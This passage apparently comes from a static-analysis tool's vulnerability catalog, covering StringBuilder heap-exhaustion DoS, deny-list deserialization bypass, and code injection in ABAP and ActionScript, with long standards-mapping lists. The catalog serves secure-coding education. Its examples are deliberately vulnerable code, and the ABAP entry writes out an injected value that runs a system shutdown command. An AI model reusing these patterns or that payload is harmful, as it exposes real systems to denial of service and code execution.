Appending user-controlled data to a StringBuilder or StringBuffer instance initialized with the default backing character array size (16) can cause the application to consume large amounts of heap memory while resizing the underlying array to fit user's data. When data is appended to a StringBuilder or StringBuffer instance, the instance will determine if the backing character array has enough free space to store the data. If the data does not fit, the StringBuilder or StringBuffer instance will create a new array with a capacity of at least double the previous array size, and the old array will remain in the heap until it is garbage collected. Attackers can use this implementation detail to execute a Denial of Service (DoS) attack.

Example 1: User-controlled data is appended to a StringBuilder instance initialized with the default constructor.

...
StringBuilder sb = new StringBuilder();
final String lineSeparator = System.lineSeparator();
String[] labels = request.getParameterValues("label");
for (String label : labels) {
sb.append(label).append(lineSeparator);
}
...
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] MSC05-J. Do not exhaust heap space CERT
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[21] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 754
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
desc.dataflow.java.denial_of_service_stringbuilder
Abstract
Appending untrusted data to a StringBuilder or StringBuffer instance initialized with the default backing array size can cause the JVM to overconsume heap memory space.
Explanation
Appending user-controlled data to a StringBuilder or StringBuffer instance initialized with the default backing character array size (16) can cause the application to consume large amounts of heap memory while resizing the underlying array to fit the user's data. When data is appended to a StringBuilder or StringBuffer instance, the instance will determine if the backing character array has enough free space to store the data. If the data does not fit, the StringBuilder or StringBuffer instance will create a new array with a capacity of at least double the previous array size, and the old array will remain in the heap until it is garbage collected. Attackers can use this implementation detail to execute a Denial of Service (DoS) attack.

Example 1: User-controlled data is appended to a StringBuilder instance initialized with the default constructor.

...
val sb = StringBuilder()
val labels = request.getParameterValues("label")
for (label in labels) {
sb.appendln(label)
}
...
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] MSC05-J. Do not exhaust heap space CERT
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[21] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 754
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
desc.dataflow.kotlin.denial_of_service_stringbuilder
Abstract
Defensive deserialization based on preventing the deserialization of known bad classes (deny list) may allow attackers to bypass this protection and make it useless.
Explanation
The application implements a defensive deserialization technique called look-ahead deserialization which allows the application to peek into the deserializated classes before they are actually deserialized.



Deny lists can be easily bypassed by new gadget chains, wrapped packages or classes that perfom nested deserialization within their deserialization callbacks.
References
[1] Fortify Software Security Research The perils of Java deserialization
[2] Fortify Application Defender
[3] Oracle Java Serialization
[4] IBM Look-ahead Java deserialization
[5] OWASP Deserialization of untrusted data
[6] Standards Mapping - Common Weakness Enumeration CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[22] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[23] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[24] Standards Mapping - OWASP Top 10 2010 A1 Injection
[25] Standards Mapping - OWASP Top 10 2013 A1 Injection
[26] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[27] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.semantic.java.deserialization_bad_practice_deny_list
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this classic code injection example, the report implements a basic calculator that allows the user to specify commands for execution.


...
user_ops = request->get_form_field( 'operation' ).
CONCATENATE: 'PROGRAM zsample.| FORM calculation. |' INTO code_string,
calculator_code_begin user_ops calculator_code_end INTO code_string,
'ENDFORM.|' INTO code_string.
SPLIT code_string AT '|' INTO TABLE code_table.
GENERATE SUBROUTINE POOL code_table NAME calc_prog.
PERFORM calculation IN PROGRAM calc_prog.
...


The program behaves correctly when the operation parameter is a benign value. However, if an attacker specifies language operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the injected code accesses system resources or executes system commands. For example, if an attacker were to specify "MOVE 'shutdown -h now' to cmd. CALL 'SYSTEM' ID 'COMMAND' FIELD cmd ID 'TAB' FIELD TABL[]." as the value of operation, a shutdown command would be executed on the host system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.abap.dynamic_code_evaluation_code_injection
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.


...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var userOps:String = String(params["operation"]);
result = ExternalInterface.call("eval", userOps);
...


The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies language operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. In the case of ActionScript, the attacker may utilize this vulnerability to perform a cross-site scripting attack.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
